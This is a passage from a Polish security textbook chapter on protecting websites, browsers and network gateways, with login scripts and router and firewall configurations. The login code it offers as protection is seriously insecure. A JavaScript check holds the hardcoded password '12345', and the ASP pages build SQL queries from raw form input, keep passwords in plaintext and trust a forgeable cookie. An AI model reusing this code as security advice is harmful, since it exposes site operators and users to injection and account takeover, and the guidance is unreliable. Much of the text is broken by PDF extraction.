Uzyskanie od dostawcy adresu kontaktowego lub użycie skrzynki pocztowej.

3.

Uzyskanie kontaktowego numeru telefonicznego: użyj bezpośredniej skrzynki
głosowej poza wewnętrzną centralą telefoniczną firmy, innego systemu
telefonicznego lub numeru pagera.

4.

Uzyskanie od dostawcy kontaktowego adresu e-mail lub użycie innego konta,
na przykład @Yahoo.com, @Hotmail.com albo @wp.pl.

5.

Uzyskanie od dostawców serwerów nazw domen.

Na stronie NASK-u (www.dns.pl) znajdują się odpowiednie formularze do modyfikacji
nazwy rejestracyjnej domeny, danych osoby kontaktowej, danych konta kontaktowego
i zmiany danych o hoście lub serwerze nazw (patrz rysunki 1.41 i 1.42).

Rysunek 1.42.
Formularz
modyfikacji danych
osoby kontaktowej

background image


138

Hack Wars. Tom 2. Na tropie hakerów

138

Projekt witryny internetowej

Wiele witryn internetowych ujawnia krytyczne informacje na swoich stronach. W Interne-
cie często publikowane są dane, takie jak nazwiska osób kontaktowych, adresy poczty
elektronicznej, telefony wewnętrzne, schematy infrastruktury sieci, zakresy adresów
sieciowych IP, a nawet nazwy społeczności. Dla przykładu jakaś z firm opublikowała
nazwy społeczności SNMP, a jeden z routerów w oddziale umożliwiał zapis i odczyt.

Jak wyjaśniono w pierwszym tomie tej książki, informacje te mogą spowodować,
ż

e ataki hakerów, polegające na uzyskaniu kontaktów z pracownikami, wysyłaniu

wiadomości elektronicznych i próbach uzyskania zdalnej kontroli, będą przeprowadzane
z powodzeniem. Jako praktyczny przykład możesz obejrzeć firmowe strony informa-
cyjne, które zawierają informacje o pracownikach, mogące posłużyć do zdobycia kolej-
nych informacji (zobacz rysunek 1.43).

Rysunek 1.43.
Ujawnienie zbyt
du
żej liczby
informacji mo
że
doprowadzi
ć
do ataku hakera

Biorąc to pod uwagę, należy przyjąć ogólną zasadę niepublikowania na stronach interne-
towych nazwisk pracowników i ich adresów e-mail. Zastąpić je możesz formularzami na
stronie WWW lub adresami nieujawniającymi szczegółowych informacji na temat od-
biorcy poczty. Aby to zademonstrować, zmodyfikujemy stronę pokazaną na rysunku 1.43
w celu ukrycia krytycznych informacji (zobacz rysunek 1.44). Jak można zobaczyć, te
zmiany mogą odwieść hakera od przeprowadzenia bezpośredniego ataku. Jednakże w tym
przypadku firma jest ciągle wrażliwa na inne rodzaje ataków, na przykład bombardowanie
skrzynek pocztowych. Aby tego uniknąć, jeszcze raz zmodyfikujemy stronę z kontaktami
w celu eliminacji możliwości bezpośredniej wymiany informacji przez dołączenie for-
mularza (zobacz rysunek 1.45).

Tak naprawdę najlepszym sposobem postępowania podczas tworzenia bezpiecznej wi-
tryny internetowej jest dokładne zbadanie każdej strony w poszukiwaniu zawartości,
która może ułatwić atak hakera. Jeśli na witrynie umieszczasz schematy wewnętrznej
sieci, strukturę IP oraz nazwy społeczności, oznacza to wysłanie zaproszenia dla hakerów.

background image


Rozdział 1.

Zabezpieczanie portów i usług

139

139

Rysunek 1.44.
Umieszczanie
na stronach
internetowych bardziej
ogólnych informacji
kontaktowych
jest znacznie
bezpieczniejsze

Rysunek 1.45.
Eliminacja
bezpo
średniej
wymiany danych
mo
że być
najskuteczniejsza

Nawet jeśli nie musisz obawiać się ujawniania takich informacji, zawsze dobrym pomy-
słem jest implementacja prostej zapory wejściowej. Wiadomo, iż umieszczenie na stronie
kodu, takiego jak skrypt logowania, skrypty ASP i VB czy plików wykonywalnych
CGI, często odstrasza nocnych napastników. Poniżej przedstawiono przykład adaptacji
prostego i łatwego do implementacji skryptu logowania, utworzonego w Javie przez
znanego programistę Johna Fentona:

<HTML>
<HEAD>

<H1><CENTER>Wprowad

ź

hasło</H1></CENTER>

<!--Je

ś

li chcesz, mo

ż

esz zmieni

ć

lub usun

ąć

ten nagłówek -->

background image


140

Hack Wars. Tom 2. Na tropie hakerów

140

<SCRIPT LANGUAGE=JAVASCRIPT>

function verify(){
var password ="12345"; // Tutaj podaj hasło

// Podaj stron

ę

, do której nale

ż

y przej

ść

, je

ś

li hasło jest

poprawne

var protected_page ="mypage.html";
var pd=document.password.pin.value
// Mo

ż

esz zmieni

ć

'pin', je

ś

li poni

ż

ej zmienisz nazw

ę

okna hasła

if(pd!=password) // sprawdza hasło

{
alert("Niewła

ś

ciwe hasło");

}

else

{
alert("Hasło poprawne");

window.location.href=protected_page; // Przenosi do podanej

powy

ż

ej zabezpieczonej strony

}}

</SCRIPT>
<TITLE>
<!-- Zmie

ń

to -->

</TITLE>
</HEAD>

<BODY bgcolor=black text=red> <!--Je

ś

li chcesz, mo

ż

esz zmieni

ć

zestaw kolorów -->

<BR>
<BR>
<CENTER>

<FORM name=password> <!--Mo

ż

esz zmieni

ć

nazw

ę

formularza, ale

musisz tego dokona

ć

równie

ż

powy

ż

ej -->

<INPUT type=password name=pin> <!--Mo

ż

esz zmieni

ć

'pin', ale

musisz tego dokona

ć

równie

ż

powy

ż

ej -->

<BR>
<BR>

<INPUT type=button value=Submit OnClick="verify()"> <!--Mo

ż

esz

zmieni

ć

nazw

ę

funkcji, ale musisz tego dokona

ć

równie

ż

powy

ż

ej-->

</CENTER>
</BODY>
</HTML>

Kolejnym przykładem jest TigerPass, który może być użyty jako wewnętrzna bramka
logowania i może zostać w prosty sposób przekształcony do frontonu CGI. Przedsta-
wiony na rysunku 1.46 oraz w postaci następującego kodu program został opracowany
przez programistę Visual Basica — Philipa Beama; narzędzie to automatycznie zapytuje
małą bazę danych o nazwie login.mdb w celu uzyskania rozliczeń dostępu i odno-
ś

ników krzyżowych.

Rysunek 1.46.
Plik wykonywalny
logowania TigerPass
mo
że być wykorzystany
jako moduł sprawdzaj
ący
hasło wej
ściowe

background image


Rozdział 1.

Zabezpieczanie portów i usług

141

141

TigerPass

Private Sub Command1_Click()
Login.Data1.Recordset.FindFirst "memID = '" & Login.Text1.Text &
"'"
If Login.Pass.Caption = Login.Text2.Text Then
MsgBox "Login succesful!"
Login.MemID.Caption = ""
Login.Pass.Caption = ""
Login.Text1.Text = ""
Login.Text2.Text = ""
Exit Sub
End If
MsgBox " Login unsuccesful!"
Login.Text1.Text = ""
Login.Text2.Text = ""
End Sub

Private Sub Command2_Click()
Login.Data1.Recordset.AddNew
Login.Data1.Recordset.Fields("memID") = "" & Login.Text1.Text &
""
Login.Data1.Recordset.Fields("pass") = "" & Login.Text2.Text & ""
Login.Data1.Recordset.Update
Login.MemID.Caption = ""
Login.Pass.Caption = ""
Login.Text1.Text = ""
Login.Text2.Text = ""
End Sub

Private Sub Command4_Click()
Login.Command5.Visible = True
Login.Command4.Visible = False
Login.Width = 3465
End Sub

Private Sub Command5_Click()
Login.Command4.Visible = True
Login.Command5.Visible = False
Login.Width = 5985
End Sub

Wypróbuj również TigerPass ASP, który może być wykorzystywany jako bramka do
zewnętrznego logowania. Przedstawiony na rysunku 1.47 oraz w postaci następujące-
go kodu program został opracowany przez programistę Microsoftu — J.L. du Preeza. Ta
wersja udostępnia witrynie możliwość logowania oraz zapewnia zabezpieczenia haseł,
a także pozwala użytkownikom na zmianę swoich haseł. Aby program zadziałał, musisz
po prostu zainstalować wszystkie pliki w katalogu na serwerze, a następnie umieścić
plik password.mdb w katalogu /db, umieszczonym w głównym katalogu.

Rysunek 1.47.
Interfejs frontowy
ASP TigerPass

background image


142

Hack Wars. Tom 2. Na tropie hakerów

142

TigerPass ASP: Login.asp

<html>
<head>
<title>Prosz

ę

zalogowa

ć

si

ę

</title>

<STYLE>
<!--
body {background: #000000; font-size: 20pt; color: #FEFCE0;
font-family:
verdana, arial}
td {font-size: 9pt; color: #FEFCE0; font-family: verdana,
arial}
A:link {text-decoration: none; color: #FFFFFF;}
A:visited {text-decoration: none; color: #FEFCE0;}
A:active {text-decoration: none; color: #FFFFFF;}
A:hover {text-decoration: none; color:#CCFFFF;}
-->
</STYLE>
<body>
<BR>
<center><h1> Aby kontynuowa

ć

, musisz zalogowa

ć

si

ę

:</h1></center>

<BR>
<FORM ACTION="login1.asp" METHOD="post">
<P>&nbsp;</P>
<center> <TABLE BORDER=0>
<TR>
<TD ALIGN="right">Nazwa:</TD>
<TD><INPUT size="10"
NAME="login"
></INPUT></TD>
</TR>
<TR>
<TD ALIGN="right">Hasło:</TD>
<TD><INPUT TYPE="password"
size="10"
NAME="password"></INPUT></TD>
</TR>
<TR>
<TD ALIGN="right"></TD>
<TD><INPUT TYPE="submit"
VALUE="Zaloguj"></INPUT>
<INPUT TYPE="reset"

VALUE="Wyczy

ść

"></INPUT>

</TD>
</TR>
</TABLE></center>
</FORM>


</body></html>

Login1.asp

<%Dim Apples
Set Apples = Server.CreateObject("ADODB.Connection")

ConnStr = "DRIVER={Microsoft Access Driver (*.mdb)}; "
ConnStr = ConnStr & "DBQ=" & Server.MapPath("db\password.mdb")
Apples.Open(ConnStr)

background image


Rozdział 1.

Zabezpieczanie portów i usług

143

143

SQLtemp = "SELECT * FROM password WHERE user = '" &
Request.form("login") & "' "

Set rs = Apples.Execute(SQLtemp)
while not rs.eof

dim username
username = rs("user")

dim friendlyname
friendlyname = rs("name")


response.cookies("passes") = username
response.cookies("passes2") = friendlyname


If Request.Form("login") = rs("user") AND Request.Form("password") =
rs("pass") Then

Response.redirect("protected.asp")
Else
Response.redirect("login2.asp")
End If

rs.MoveNext
Wend
OnError response.Redirect ("login2.asp")
rs.Close
Apples.Close
set Apples = Nothing

Login2.asp

<html>
<head>
<title>Prosz

ę

zalogowa

ć

si

ę

</title>

<STYLE>
<!--
body {background: #000000; font-size: 20pt; color: #FEFCE0;
font-family:
verdana, arial}
td {font-size: 9pt; color: #FEFCE0; font-family: verdana,
arial}
A:link {text-decoration: none; color: #FFFFFF;}
A:visited {text-decoration: none; color: #FEFCE0;}
A:active {text-decoration: none; color: #FFFFFF;}
A:hover {text-decoration: none; color:#CCFFFF;}
-->
</STYLE>
<body>
<BR>
<center><h1>Niestety, logowanie nie powiodło si

ę

</h1></center>

<center><h1>Prosz

ę

spróbowa

ć

ponownie</h1></center>

<BR>
<FORM ACTION="login1.asp" METHOD="post">
<center> <TABLE BORDER=0>
<TR>
<TD ALIGN="right">Nazwa:</TD>
<TD><INPUT TYPE="text" size="10"

NAME="login"></INPUT></TD>

</TR>
<TR>
<TD ALIGN="right">Hasło:</TD>

background image


144

Hack Wars. Tom 2. Na tropie hakerów

144

<TD><INPUT TYPE="password"
size="10"

NAME="password"></INPUT></TD>

</TR>
<TR>
<TD ALIGN="right"></TD>
<TD><INPUT TYPE="submit"
VALUE="Zaloguj"></INPUT>
<INPUT TYPE="reset"
VALUE="Oczy

ść

"></INPUT>

</TD>
</TR>
</TABLE></center>
</FORM>

</body></html>

Passchange.asp

<%username = request.cookies("passes")%>
<html>
<head>
<title>Zmie

ń

hasło</title>

<STYLE>
<!--
body {background: #000000; font-size: 20pt; color: #FEFCE0;
font-family:
verdana, arial}
td {font-size: 9pt; color: #FEFCE0; font-family: verdana,
arial}
A:link {text-decoration: none; color: #FFFFFF;}
A:visited {text-decoration: none; color: #FEFCE0;}
A:active {text-decoration: none; color: #FFFFFF;}
A:hover {text-decoration: none; color:#CCFFFF;}
-->
</STYLE>
<body>
<BR>
<center><h1>Prosz

ę

zmieni

ć

swoje hasło</h1></center>

<BR>
<FORM ACTION="passchange1.asp" METHOD="post">
<center> <TABLE BORDER=0>
<TR>
<TD ALIGN="right">Nazwa:</TD>
<TD><INPUT TYPE="text"
Value=<%=username%>
size="10"
NAME="login"></INPUT></TD>
</TR>
<TR>
<TD ALIGN="right">Stare
hasło:</TD>
<TD><INPUT TYPE="password"
size="10"

NAME="oldpassword"></INPUT></TD>
</TR>
<TR>
<TD ALIGN="right">Nowe
hasło:</TD>
<TD><INPUT TYPE="password"
size="10"

background image


Rozdział 1.

Zabezpieczanie portów i usług

145

145


NAME="newpassword1"></INPUT></TD>
</TR>
<TR>
<TD ALIGN="right">Potwierdzenie
nowego
hasła:</TD>
<TD><INPUT TYPE="password"
size="10"

NAME="newpassword2"></INPUT></TD>
</TR>
<TR>
<TD ALIGN="right"></TD>
<TD><INPUT TYPE="submit"
VALUE="Zmie

ń

"></INPUT>

<INPUT TYPE="reset"

VALUE="Wyczy

ść

"></INPUT>

</TD>
</TR>
</TABLE></center>
</FORM>

</body></html>

Passchange1.asp

<%Dim Apples
Set Apples = Server.CreateObject("ADODB.Connection")

ConnStr = "DRIVER={Microsoft Access Driver (*.mdb)}; "
ConnStr = ConnStr & "DBQ=" & Server.MapPath("db\password.mdb")
Apples.Open(ConnStr)

SQLtemp = "SELECT * FROM password WHERE user = '" &
Request.form("login") & "' "

Set rs = Apples.Execute(SQLtemp)

If Request.Form("login") = rs("user") AND Request.Form("oldpassword")
= rs("pass")
AND Request.Form("newpassword1") = Request.Form("newpassword2")
then
SQL = "UPDATE password SET pass = '" & Request.Form("newpassword2") &
"' WHERE user
= '" & Request.Form("login") & "'"
Apples.Execute(sql)
Response.redirect ("updated.asp")
Else
Response.redirect ("passchange2.asp")


End If

set ConnStr = Nothing
rs.Close
Apples.Close
set ConnStr = Nothing

%>

background image


146

Hack Wars. Tom 2. Na tropie hakerów

146

Passchange2.asp

<%username = request.cookies("passes")%>
<html>
<head>
<title>Zmie

ń

hasło</title>

<STYLE>
<!--
body {background: #000000; font-size: 20pt; color: #FEFCE0;
font-family:
verdana, arial}
td {font-size: 9pt; color: #FEFCE0; font-family: verdana,
arial}
A:link {text-decoration: none; color: #FFFFFF;}
A:visited {text-decoration: none; color: #FEFCE0;}
A:active {text-decoration: none; color: #FFFFFF;}
A:hover {text-decoration: none; color:#CCFFFF;}
-->
</STYLE>
<body>
<BR>
<center><h1>Niestety, niektóre podane dane były
niepoprawne.</h1></center>
<BR>
<FORM ACTION="passchange1.asp" METHOD="post">
<center> <TABLE BORDER=0>
<TR>
<TD ALIGN="right">Nazwa:</TD>
<TD><INPUT TYPE="text"
Value=<%=username%>
size="10"
NAME="login"></INPUT></TD>
</TR>
<TR>
<TD ALIGN="right">Stare
hasło:</TD>
<TD><INPUT TYPE="password"
size="10"

NAME="oldpassword"></INPUT></TD>
</TR>
<TR>
<TD ALIGN="right">Nowe
hasło:</TD>
<TD><INPUT TYPE="password"
size="10"

NAME="newpassword1"></INPUT></TD>
</TR>
<TR>
<TD ALIGN="right">Potwierdzenie
hasła:</TD>
<TD><INPUT TYPE="password"
size="10"

NAME="newpassword2"></INPUT></TD>
</TR>
<TR>
<TD ALIGN="right"></TD>
<TD><INPUT TYPE="submit"
VALUE="Zaloguj"></INPUT>

background image


Rozdział 1.

Zabezpieczanie portów i usług

147

147

<INPUT TYPE="reset"

VALUE="Wyczy

ść

"></INPUT>

</TD>
</TR>
</TABLE></center>
</FORM>


</body></html>

Protected.asp

<%username = request.cookies("passes")%>
<%friendlyname = request.cookies("passes2")%>
<%If request.cookies("passes") = "" then response.redirect
("login.asp")%>
<html><head><title>Prosz

ę

wybra

ć

miejsce docelowe</title>

<STYLE>
<!--
H1 {font-size: 20pt; color: #FEFCE0; font-family: verdana,
arial}
body {background: #000000; font-size: 15pt; color: #FEFCE0;
font-family:
verdana, arial}
td {font-size: 9pt; color: #FEFCE0; font-family: verdana,
arial}
A:link {text-decoration: none; color: #FFFFFF;}
A:visited {text-decoration: none; color: #FEFCE0;}
A:active {text-decoration: none; color: #FFFFFF;}
A:hover {text-decoration: none; color:#CCFFFF;}
-->
</STYLE>
</head>
<body>
<BR>
<h1><center>Witam <%=friendlyname%>. Tu mo

ż

esz znale

źć

pliki

ź

ródłowe</center></h1>

<BR><BR><BR>
<center><a href="pass.zip">Plik

ź

ródłowy tych stron</a></center>

<BR>
<center><a href="passchange.asp">Zmie

ń

swoje hasło</a></center>

<BR>
<center><a href="login.asp">Wyloguj i zaloguj si

ę

ponownie</a></center>
</body>
</html>

Updated.asp

<%username = request.cookies("passes")%>
<%friendlyname = request.cookies("passes2")%>
<html><head><title>Wybierz miejsce docelowe</title>
<STYLE>
<!--
H1 {font-size: 20pt; color: #FEFCE0; font-family: verdana,
arial}
body {background: #000000; font-size: 15pt; color: #FEFCE0;
font-family:
verdana, arial}
td {font-size: 9pt; color: #FEFCE0; font-family: verdana,
arial}

background image


148

Hack Wars. Tom 2. Na tropie hakerów

148

A:link {text-decoration: none; color: #FFFFFF;}
A:visited {text-decoration: none; color: #FEFCE0;}
A:active {text-decoration: none; color: #FFFFFF;}
A:hover {text-decoration: none; color:#CCFFFF;}
-->
</STYLE>
</head>
<body>
<BR>
<h1><center>Dzi

ę

kuj

ę

, <%=friendlyname%>. Hasło zostało

zmienione</center></h1>
<BR><BR><BR>
<center><a href="pass.zip">Plik

ź

ródłowy tych stron</a></center>

<BR>
<center><a href="passchange.asp">Zmie

ń

swoje hasło</a></center>

<BR>
<center><a href="login.asp">Wyloguj i zaloguj si

ę

ponownie</a></center>
</body>
</html>

Te programy są dostępne na dołączonym do książki CD-ROM-ie.

Anonimowość użytkownika

Prywatni i korporacyjni użytkownicy chcą mieć pewność, że mogą anonimowo surfo-
wać po Internecie i łączyć się z sieciami rozległymi. Niestety, pod względem technicz-
nym jest to trudne do osiągnięcia i ta kwestia staje się kolejną furtką, przez którą jest
przeprowadzane zdalne zbieranie informacji. Hakerzy mogą przyciągnąć użytkow-
ników do konkretnej witryny internetowej, używając takich zachęt, jak dowcipy, dar-
mowe lub pirackie oprogramowanie, aukcje z najlepszymi cenami, czy najświeższe
informacje. Wystarczy jedna krótka wizyta na takiej stronie, aby napastnik przechwycił
pożądane informacje.

Informacje przeglądane lub pobierane przez przeglądarkę są przechwytywane przez co-
okies, słynne — i niesławne — niewidoczne komunikaty, przesyłane do przeglądar-
ki przez serwer internetowy. Przeglądarka przechowuje zwykle te komunikaty w pliku
cookie.txt. Cookies są stale przesyłane w trakcie procesu komunikacji HTTP. Przeglą-
darka zwykle przechowuje cookies aż do następnego odwiedzenia danej strony.

Nie wszystkie cookies są szkodliwe, ale część z nich tak. Początkowo cookies miały
być przydatne dla internautów; utworzono je w celu identyfikacji preferencji użytkow-
nika przed wygenerowaniem dynamicznej strony internetowej dla tej osoby. Często
napotykamy witryny wyglądające tak, jakby „oczekiwały” na nas (zobacz rysunek 1.48).
Jest to możliwe właśnie dzięki cookies. Wadą tego procesu (wykorzystaną przez ha-
kerów) jest fakt, iż niektóre sieci i intranety zostały zaprojektowane tak, aby odróż-
niać adresy IP i nazwy hostów. Co więcej, czas życia cookies różni się, a niektóre z nich
o nazwie „nieśmiertelnych cookies” istnieją na dysku przez długi czas, będąc dostępnymi
dla hakerów.

background image


Rozdział 1.

Zabezpieczanie portów i usług

149

149

Rysunek 1.48.
Dynamiczne witryny
internetowe
„pami
ętają
swoich u
żytkowników
dzi
ęki cookies

Java i JavaScript działają podobnie jak cookies pod względem technik gromadzenia
informacji. Jak na pewno wiesz, przeglądarka jest po prostu kompilatorem kodu pro-
gramów, który odczytuje strony internetowe, zaprojektowane w takich językach, jak
ASP, HTTP, VBScript, Java i innych. Przeglądarka kompiluje następnie kod w celu
utworzenia informacji widocznej w oknie programu. Można więc powiedzieć, iż po-
dobnie jak cookies, kod Java w Internecie może być użyty przeciwko Tobie.

Przy użyciu cookies i Javy zdalni napastnicy mogą potencjalnie uzyskać następujące dane:









typ Twojej przeglądarki,









zainstalowane wtyczki (pluginy) przeglądarki,









położenie Twojego punktu obecności (point of presence — POP),









format daty i czasu w Twoim systemie,









dokładne informacje o domenie,









ostatnio odwiedzane witryny,









czy akceptowane są języki Java, JavaScript oraz VBScript,









Twój adres IP,









nazwę Twojego komputera,









Twój adres e-mail.

Możesz w to wierzyć albo nie, ale to wystarczająco dużo informacji, aby rozpocząć
wiele rodzajów ataków na Twój system. Oto prosty przykład.

1.

Projektuję stronę internetową z dowcipami, znajdującą się na wielu darmowych
serwerach, dostępnych w sieci.

2.

Reklamuję tę stronę przy użyciu popularnych wyszukiwarek, serwerów list
i tablic ogłoszeń.

3.

Użytkownik szuka dobrego dowcipu, który mógłby przesłać do swoich
znajomych i rodziny, przez co trafia na moją stronę. W tym momencie

background image


150

Hack Wars. Tom 2. Na tropie hakerów

150

odkrywam część przedstawionych powyżej informacji, na przykład dane
o zainstalowanych wtyczkach.

4.

Użytkownik otrzymuje przyjazną wiadomość e-mailową, informującą
go o pojawieniu się ważnych aktualizacji wtyczek Shockwave Flash lub Real
Player
. W wiadomości znajduje się odnośnik do strony, z której można
za darmo pobrać aktualizację.

5.

Użytkownik pobiera plik zawierający nowszą wersję wtyczki. Nie wie jednak
w tym momencie, że znajduje się tam również koń trojański Homer, który
umożliwia przejęcie kontroli nad jego komputerem.

Wynik? Zobacz rysunek 1.49.

Rysunek 1.49.
Wpadłeś!

Ten typ próby ataku zdarza się co chwila, a użytkownicy często obciążają pomyłkowo
prawidłową konfigurację oprogramowania za występujące problemy systemowe,
podczas gdy ich systemy zostały zainfekowane przez destrukcyjne demony.

Aby sprawdzić, co „oni” już wiedzą o Tobie, zaloguj się na stronie
www.anonymizer.com.

Do przeciwdziałania takiemu zagrożeniu anonimowości użytkownika można wyko-
rzystać mechanizmy zabezpieczeń sieci i komputerów osobistych. Większość prze-
glądarek umożliwia również ustawienie standardowych środków zabezpieczających.
Funkcje Microsoft Internet Explorera mogą być zmodyfikowane przez rozwijalne
menu Opcje internetowe (zobacz rysunek 1.50).

background image


Rozdział 1.

Zabezpieczanie portów i usług

151

151

Rysunek 1.50.
Ustawianie poziomu
zabezpiecze
ń
w Internet Explorerze

Kolejną prostą metodą zabezpieczania jest aktualizacja przeglądarki internetowej do
najnowszej wersji, niezależnie od producenta, gdyż zwykle zawiera ona ulepszone środki
bezpieczeństwa przeciwko typowym sposobom włamania. Wszyscy domowi i korpora-
cyjni użytkownicy Internetu powinni zmodyfikować poziom bezpieczeństwa zgodnie
z osobistymi lub firmowymi potrzebami. Jak pokazano na rysunku 1.51, wiele prze-
glądarek pozwala na dopasowanie własnych opcji zabezpieczeń. Dla przykładu, aby w MS
Internet Explorerze
ustawić poziom zabezpieczeń, z menu Narzędzia wybierz Opcje in-
ternetowe
, a następnie kliknij zakładkę Zabezpieczenia. Teraz kliknij strefę, w której
chcesz zmodyfikować poziom zabezpieczeń. Przesuń suwak w górę, aby ustawić wyższy
standard zabezpieczeń, lub w dół, aby uzyskać niższy standard. Aby własnoręcznie
ustawić ustawienia zabezpieczeń dla danej strefy, kliknij przycisk Poziom niestandardowy
(Twoja przeglądarka może również pozwalać na konfigurację „zaufanych” i „niezaufa-
nych” witryn, dzięki czemu uzyskuje się większą kontrolę nad przeglądanymi stronami).

ś

al mi to mówić, ale cookies najbezpieczniej wyłączyć w ogóle; podobne środki bezpie-

czeństwa należy zastosować w stosunku do kodu Java, spotykanego na stronach WWW.
„Porządne” witryny zwykle zawierają odnośnik pozwalający na ręczne zalogowanie
się w przypadku przeglądarek nieobsługujących cookies (czyli tych, które „nie biorą cu-
kierków od obcych”). Również konfiguracja restrykcyjnych ograniczeń Javy w czasie
sesji może zmusić witryny korzystające z niej do wyświetlenia prośby o zgodę na uży-
cie tego języka. Zajmie to zwykle kilka sekund i nie wymaga restartu komputera.

background image


152

Hack Wars. Tom 2. Na tropie hakerów

152

Rysunek 1.51.
Dopasowanie funkcji
zabezpiecze
ń w MS
Internet Explorerze

W celu uzyskania dodatkowych zabezpieczeń sprawdź wcześniej wymieniony program
TigerSurf, omówiony w załączniku A i dołączony do tej książki na CD-ROM-ie.

Skanowanie zakresu adresów IP

Jeśli przeczytałeś pierwszy tom tej książki, już wiesz, iż skanowanie zakresu adresów IP
jest jednym z pierwszych kroków wykonywanych w czasie zdalnego badania celu.
Działanie skanerów IP polega na przeczesywaniu całego zakresu adresów IP i zgłaszaniu
węzłów, które są aktywne lub odpowiadają na żądania echa PING lub ICMP. Takie ak-
tywne, zalogowane i opisane węzły stają się częścią składową schematów sieci docelowej.
Kolejnym krokiem jest wtedy wykorzystanie technik badania niezabezpieczonych portów.

Blokując lub filtrując skanowanie zakresu adresów IP, zniechęcamy wielu agresorów do
wykorzystania bardziej zaawansowanych technik badań potencjalnie zagrożonych
systemów. Wprowadzenie tych technik zabezpieczeń musi być jednak wykonane ostroż-
nie, ponieważ niektóre systemy mogą wymagać użycia usługi „ping” ze względu na
wykorzystanie programów do lokalnego zarządzania i monitorowania, które aktywnie
wysyłają żądania. W takiej sytuacji alternatywą może być pozwolenie na wysyłanie od-
powiedzi do autoryzowanych adresów przy całkowitym zablokowaniu usługi dla pozosta-
łych hostów.

Najbardziej efektywną ochronę przed skanowaniem zakresu adresów IP można uzyskać
przy użyciu frontowych bramek zabezpieczeń, takich jak routery, firewalle i zaawansowa-
ne proxy. W trakcie podejmowania decyzji powinieneś zajrzeć do podręcznika obsługi
i opisu poleceń bramki, a także skonsultować rozwiązania ze swoim dostawcą usług in-
ternetowych.

background image


Rozdział 1.

Zabezpieczanie portów i usług

153

153

Pozostała część tego rozdziału jest poświęcona opisowi typowych przykładów ogól-
nego filtrowania przy użyciu konkretnych bramek.

Router 3Com

Aby skonfigurować filtry dla routera IP, wykonaj poniższe czynności.

1.

Ustaw zasady filtrowania przy użyciu:

ADD -IP FilterAddrs <

adres1

> [<

katalog

>] <

adres2

> [<

działanie

>

[<

protokół

> [<

ID_filtra

>]]]<

działanie

> =

{PROTocolRsrv=<

znacznik

>}|

Discard | DODdiscard | Forward | {QPriority = H | M | L}
X25Profile
= <

profil

>} <

protokół

> = DLSW | FTP | IP | IPDATA | ICMP | SMTP |

TCP | TELNET | UDP

2.

W razie potrzeby utwórz filtr lub filtry przy użyciu:

ADD !<

ID_filtra

> -IP FIlters <

warunek

> [,<

warunek

...] <

warunek

>

= <

%offset

>:[<

operator

>]<

%wzorzec

>

3.

Ustaw parametr

FilterDefAction

przy użyciu:

SETDefault -IP FilterDefAction = [Forward | Discard]

4.

Włącz filtrowanie pakietów, wprowadzając:

SETDefault -IP CONTrol = Filtering

Cabletron/Enterasys

Aby zabezpieczyć procesor przed nadmiernym ruchem, wykonaj poniższe czynności.

1.

Zainstaluj poniższe lub podobne listy kontroli dostępu (ACL):

ssr(config)# ac1 hackstop deny tcp any x.x.x.x/32 any >1024
ssr(config)# ac1 hackstop deny udp any x.x.x.x/32 any >1024
ssr(config)# ac1 hackstop permit ip any any any any

2.

Zastosuj powyższe listy ACL dla interfejsu, portu lub vLAN-u. Poniższy przykład
przedstawia sposób zastosowania listy ACL dla interfejsu o nazwie ip-Inter:

ssr(config)# ac1 hackstop apply interface ip-Inter input

Checkpoint FireWall-1

Aby uniemożliwić przechodzenie ICMP przez firewall, wykonaj poniższe czynności.

1.

Otwórz Security Policy Editor.

2.

Otwórz menu Policy i wybierz Properties.

3.

Upewnij się, czy opcja Accept ICMP jest wyłączona.

Router Cisco

Pokazana poniżej przykładowa konfiguracja odnosi się do głównego routera internetowe-
go, przedstawionego na rysunku 1.52.

background image


154

Hack Wars. Tom 2. Na tropie hakerów

154

Rysunek 1.52.
Scenariusz
konfiguracji routera
Cisco

! Opcja 1: U

ż

ycie puli NAT

no ip name-server
no proxy arp
!
ip subnet-zero
no ip domain-lookup
ip routing
!
! Kontrola dost

ę

pu w oparciu o kontekst

!
no ip inspect audit-trail
ip inspect tcp synwait-time 30
ip inspect tcp finwait-time 5
ip inspect tcp idle-time 3600
ip inspect udp idle-time 30
ip inspect dns-timeout 5
ip inspect one-minute low 900
ip inspect one-minute high 1100
ip inspect max-incomplete low 900
ip inspect max-incomplete high 1100
ip inspect tcp max-incomplete host 50 block-time 0
!
! IP inspect Ethernet_0_0
!
no ip inspect name Ethernet_0_0
ip inspect name Ethernet_0_0 tcp
ip inspect name Ethernet_0_0 udp
ip inspect name Ethernet_0_0 cuseeme
ip inspect name Ethernet_0_0 ftp
ip inspect name Ethernet_0_0 h323
ip inspect name Ethernet_0_0 rcmd
ip inspect name Ethernet_0_0 realaudio
ip inspect name Ethernet_0_0 smtp
ip inspect name Ethernet_0_0 streamworks
ip inspect name Ethernet_0_0 vdolive
ip inspect name Ethernet_0_0 sqlnet
ip inspect name Ethernet_0_0 tftp
!
interface Ethernet 0/0
no shutdown
description connected to EthernetLAN
ip address 172.29.44.1 255.255.0.0
ip nat inside
ip inspect Ethernet_0_0 in

background image


Rozdział 1.

Zabezpieczanie portów i usług

155

155

ip access-group 100 in
keepalive 10
!
interface Ethernet 0/1
no description
no ip address
ip nat inside
shutdown
!
interface Serial 0/0
no shutdown
description connected to Internet
service-module t1 clock source line
service-module t1 data-coding normal
service-module t1 remote-loopback full
service-module t1 framing esf
service-module t1 linecode b8zs
service-module t1 lbo none
service-module t1 remote-alarm-enable
ip address 206.0.139.70 255.255.255.128
ip nat outside
ip access-group 101 in
encapsulation hdlc
!
!Lista kontroli dost

ę

pu ACL 1

!
no access-list 1
access-list 1 permit 172.29.0.0 0.0.255.255
access-list 1 permit 172.20.44.0 0.0.0.3
access-list 1 permit 172.18.0.0 0.0.255.255
!
!Lista kontroli dost

ę

pu ACL 100

!
no access-list 100
access-list 100 permit ip any any
!
!Lista kontroli dost

ę

pu ACL 101

!
no access-list 101
access-list 101 deny ip any any
!
! Statyczny NAT (Serwer pocztowy)
!
ip nat inside source static 172.20.44.2 206.0.139.72
!
! Dynamiczny NAT
!
ip nat translation timeout 86400
ip nat translation tcp-timeout 86400
ip nat translation udp-timeout 300
ip nat translation dns-timeout 60
ip nat translation finrst-timeout 60
ip nat pool Cisco2611-natpool-40 172.29.44.10 172.29.44.250 netmask
255.255.255.0
ip nat inside source list 1 pool Cisco2611-natpool-40 overload
!
router rip
version 2
network 172.29.0.0
passive-interface Serial 0/0
no auto-summary
!

background image


156

Hack Wars. Tom 2. Na tropie hakerów

156

!
ip classless
!
! Trasy statycznych adresów IP
ip route 0.0.0.0 0.0.0.0 Serial 0/0
no ip http server
snmp-server community xyzincnet1 RO

